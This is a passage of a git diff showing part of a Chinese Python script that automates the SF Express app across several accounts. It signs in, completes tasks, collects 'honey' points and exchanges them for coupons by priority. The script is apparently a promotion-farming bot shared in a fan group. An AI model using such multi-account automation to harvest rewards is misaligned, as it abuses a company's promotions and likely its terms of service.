||||
self.usableHoney -= required_honey
|
||||
self.exchange_count += 1
|
||||
return True, f"成功兑换{coupon_amount}券"
|
||||
else:
|
||||
return False, exchange_json.get('errorMessage', '兑换失败')
|
||||
|
||||
except Exception as e:
|
||||
if attempt == MAX_EXCHANGE_TIMES:
|
||||
return False, f"兑换异常:{str(e)}"
|
||||
time.sleep(2)
|
||||
|
||||
return False, "多次尝试失败"
|
||||
|
||||
def execute_exchange_range(self):
|
||||
"""按照优先级执行兑换区间"""
|
||||
Log(f"🎯 兑换目标:{' > '.join(self.target_amounts)}")
|
||||
|
||||
for coupon_amount in self.target_amounts:
|
||||
Log(f"💰 尝试兑换 {coupon_amount} 券...")
|
||||
success, message = self.exchange_coupon(coupon_amount)
|
||||
|
||||
if success:
|
||||
Log(f"🎉 {message}")
|
||||
time.sleep(3)
|
||||
return True
|
||||
else:
|
||||
Log(f"❌ {coupon_amount} - {message}")
|
||||
|
||||
return False
|
||||
|
||||
def exchange_23_coupon(self):
|
||||
"""兑换功能(兼容原方法名)"""
|
||||
return self.execute_exchange_range()
|
||||
|
||||
def main(self):
|
||||
global one_msg
|
||||
wait_time = random.randint(1000, 3000) / 1000.0
|
||||
time.sleep(wait_time)
|
||||
one_msg = ''
|
||||
if not self.login_res: return False
|
||||
|
||||
self.sign()
|
||||
self.superWelfare_receiveRedPacket()
|
||||
self.get_SignTaskList()
|
||||
self.get_SignTaskList(True)
|
||||
|
||||
self.get_honeyTaskListStart()
|
||||
self.honey_indexData()
|
||||
self.honey_indexData(True)
|
||||
|
||||
activity_end_date = get_quarter_end_date()
|
||||
days_left = (activity_end_date - datetime.now()).days
|
||||
if days_left == 0:
|
||||
message = f"⏰ 今天采蜜活动截止兑换还有{days_left}天,请及时进行兑换!!"
|
||||
Log(message)
|
||||
else:
|
||||
message = f"⏰ 今天采蜜活动截止兑换还有{days_left}天,请及时进行兑换!!\n--------------------------------"
|
||||
Log(message)
|
||||
|
||||
if not self.is_last_day and self.force_exchange:
|
||||
Log(f"⚡ 强制兑换模式已开启,兑换目标:{' > '.join(self.target_amounts)}")
|
||||
exchange_success = self.exchange_23_coupon()
|
||||
if not exchange_success:
|
||||
Log("❌ 强制兑换失败,所有目标券都无法兑换")
|
||||
|
||||
current_date = datetime.now().day
|
||||
if 26 <= current_date <= 28:
|
||||
self.member_day_index()
|
||||
else:
|
||||
print('⏰ 未到指定时间不执行会员日任务\n==================================\n')
|
||||
|
||||
return True
|
||||
|
||||
|
||||
def get_quarter_end_date():
|
||||
current_date = datetime.now()
|
||||
current_month = current_date.month
|
||||
current_year = current_date.year
|
||||
next_quarter_first_day = datetime(current_year, ((current_month - 1) // 3 + 1) * 3 + 1, 1)
|
||||
quarter_end_date = next_quarter_first_day - timedelta(days=1)
|
||||
|
||||
return quarter_end_date
|
||||
|
||||
|
||||
def is_activity_end_date(end_date):
|
||||
current_date = datetime.now().date()
|
||||
end_date = datetime.strptime(end_date, "%Y-%m-%d").date()
|
||||
|
||||
return current_date == end_date
|
||||
|
||||
|
||||
def main():
|
||||
APP_NAME = '顺丰速运'
|
||||
ENV_NAME = 'sfsyUrl'
|
||||
CK_NAME = 'url'
|
||||
local_script_name = os.path.basename(__file__)
|
||||
local_version = '2025.06.23'
|
||||
target_amounts = parse_exchange_range(EXCHANGE_RANGE)
|
||||
token = os.getenv(ENV_NAME)
|
||||
if not token:
|
||||
print(f"❌ 未找到环境变量 {ENV_NAME},请检查配置")
|
||||
return
|
||||
tokens = token.split('&')
|
||||
tokens = [t.strip() for t in tokens if t.strip()]
|
||||
if len(tokens) == 0:
|
||||
print(f"❌ 环境变量 {ENV_NAME} 为空或格式错误")
|
||||
return
|
||||
|
||||
print(f"==================================")
|
||||
print(f"🎉 呆呆粉丝后援会:996374999")
|
||||
print(f"🚚 顺丰速运脚本 v{local_version}")
|
||||
print(f"📱 共获取到{len(tokens)}个账号")
|
||||
print(f"🎯 兑换配置:")
|
||||
print(f" └ 兑换区间: {EXCHANGE_RANGE} → {' > '.join(target_amounts)}")
|
||||
print(f" └ 强制兑换: {'开启' if FORCE_EXCHANGE else '关闭'}")
|
||||
print(f" └ 最大次数: {MAX_EXCHANGE_TIMES}")
|
||||
print(f"😣 修改By:呆呆呆呆")
|
||||
print(f"==================================")
|
||||
|
||||
for index, infos in enumerate(tokens):
|
||||
run_result = RUN(infos, index).main()
|
||||
if not run_result: continue
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
2258
顺丰/顺丰速运端午节版本.py
Normal file
2258
顺丰/顺丰速运端午节版本.py
Normal file
File diff suppressed because it is too large
Load Diff
Reference in New Issue
Block a user